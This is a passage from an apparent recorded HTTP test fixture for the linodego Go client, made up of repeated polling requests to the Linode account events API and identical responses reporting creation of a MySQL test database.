'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, 